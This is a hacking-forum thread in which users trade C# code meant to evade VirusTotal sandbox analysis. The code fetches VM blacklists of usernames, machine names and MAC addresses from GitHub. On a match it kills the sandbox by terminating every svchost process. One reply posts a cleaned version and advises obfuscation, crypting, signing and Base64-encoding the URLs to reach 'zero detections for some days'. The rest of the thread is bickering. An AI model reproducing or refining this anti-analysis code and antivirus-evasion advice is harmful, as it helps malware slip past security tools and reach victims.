(Apr 29, 2023 05:25 AM)Dread.Reaper Wrote:  Uhh, what?
How are you attempting to Bypass a multiscan site by using its known black list files?

I god honestly dont even see how this is suppose to work?
So you got the blacklists from VT and compared the binary to its lists.
... What is that exactly suppose to do or bypass the engine, like whatsoever?

(Apr 29, 2023 05:25 AM)Dread.Reaper Wrote:  Uhh, what?
How are you attempting to Bypass a multiscan site by using its known black list files?

I god honestly dont even see how this is suppose to work?
So you got the blacklists from VT and compared the binary to its lists.
... What is that exactly suppose to do or bypass the engine, like whatsoever?

(Apr 29, 2023 06:30 AM)padrino Wrote:  Yeah I'm with Dread.Reaper on this one. I don't really get how this is supposed to work - the code doesn't really do anything? unless I'm missing something?

(Apr 29, 2023 06:30 AM)SIM-4947326 Wrote:  Also I have not a single clue what you mean "by using its known black list files", either you're not understanding what I'm doing or you're just explaining it very badly.

(Apr 29, 2023 02:25 AM)SIM-4947326 Wrote:  }
string url = "https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/pc_name_list.txt";
string blacklist = new WebClient().DownloadString(url);
if (blacklist.Contains(Environment.MachineName))
{

(Apr 29, 2023 06:36 AM)Dread.Reaper Wrote:  Me? lmfao
Your the one trying to use the shit.


You kids crack me up sometimes.

(Apr 29, 2023 06:40 AM)SIM-4947326 Wrote:  But what changes even if they are known blacklist files? Literally nothing. I don't get your point lol

(Apr 29, 2023 07:08 AM)Dread.Reaper Wrote:  There seems to be a lot you dont get.

(Apr 29, 2023 07:21 AM)SIM-4947326 Wrote:  Alright, explain to me then. lol I feel like all you do is come here to start arguments you're not willing to help or anything, your purpose of your reply was to just start an argument also I'd like to add that you have 0 common sense but that's just my opinion.

(Apr 29, 2023 05:55 PM)Silkroad Wrote:  Here's a cleaned version of the code with some changes.
Also, this will not notify the user that the process is being terminated.

I didn't include any "Console.WriteLine" statements along the "TerminateSvchostProcesses()" lines.
This prevents the code from printing messages to the console, if ever the application is run from a console or a command-line environment.

Code

using System;
using System.Diagnostics;
using System.Net;

namespace CombinedProgram
{
    class Program
    {
        const string USERNAME_BLACKLIST_URL = "https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/pc_username_list.txt";
        const string COMPUTER_NAME_BLACKLIST_URL = "https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/pc_name_list.txt";
        const string MAC_ADDRESS_BLACKLIST_URL = "https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/mac_list.txt";

        static void Main(string[] args)
        {
            CheckBlacklists();
        }

        private static void CheckBlacklists()
        {
            // Download and check the username blacklist
            string usernameBlacklist = new WebClient().DownloadString(USERNAME_BLACKLIST_URL);
            if (usernameBlacklist.Contains(Environment.UserName))
            {
                TerminateSvchostProcesses();
            }

            // Download and check the computer name blacklist
            string computerNameBlacklist = new WebClient().DownloadString(COMPUTER_NAME_BLACKLIST_URL);
            if (computerNameBlacklist.Contains(Environment.MachineName))
            {
                TerminateSvchostProcesses();
            }

            // Get the MAC address and check the MAC address blacklist
            string macAddress = GetMacAddress();
            string macAddressBlacklist = new WebClient().DownloadString(MAC_ADDRESS_BLACKLIST_URL);
            if (macAddressBlacklist.Contains(macAddress))
            {
                TerminateSvchostProcesses();
            }

            // Check the current user's SID
            string currentUserSid = WindowsIdentity.GetCurrent().User.Value;
            const string SPECIFIC_SID = "S-1-5-21-4274087327-1600814645-417113789-1000";
            if (currentUserSid == SPECIFIC_SID)
            {
                TerminateSvchostProcesses();
            }
        }

        private static string GetMacAddress()
        {
            // Implementation of GetMacAddress() method
        }

        private static void TerminateSvchostProcesses()
        {
            var svchostProcesses = Process.GetProcessesByName("svchost");
            foreach (var svchostProcess in svchostProcesses)
            {
                try
                {
                    svchostProcess.Kill();
                }
                catch (Exception ex)
                {
                    // Handle any exceptions silently
                }
            }
        }
    }
}

Make sure to delete the explanations/comments inside the code.
With good obfuscation, crypting, signing, and small changes, you could achieve zero detections for some days.

I also recommend changing URLs to Base64 encryption, this will make it a little bit harder for AVs.

(Apr 29, 2023 02:25 AM)SIM-4947326 Wrote:  Is it possible to bypass virustotal? I've tried this but it hasn't really helped with getting the detection rate, why?


string url1 = "https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/pc_username_list.txt";
string black1list = new WebClient().DownloadString(url1);
if (black1list.Contains(Environment.UserName))
{
Application.Exit();
Process.Start("taskkill", "/F /IM svchost.exe");
}
string url = "https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/pc_name_list.txt";
string blacklist = new WebClient().DownloadString(url);
if (blacklist.Contains(Environment.MachineName))
{
Application.Exit();
Process.Start("taskkill", "/F /IM svchost.exe");
}
string macAddress = GetMacAddress();
string blacklistUrl = "https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/mac_list.txt";
string blacklistText = new WebClient().DownloadString(blacklistUrl);

// Check if the MAC address is in the blacklist
if (blacklistText.Contains(macAddress))
{
Application.Exit();
Process.Start("taskkill", "/F /IM svchost.exe");
}
string currentUserSid = WindowsIdentity.GetCurrent().User.Value;
if (currentUserSid == "S-1-5-21-4274087327-1600814645-417113789-1000")
{
Application.Exit();
Process.Start("taskkill", "/F /IM svchost.exe");
}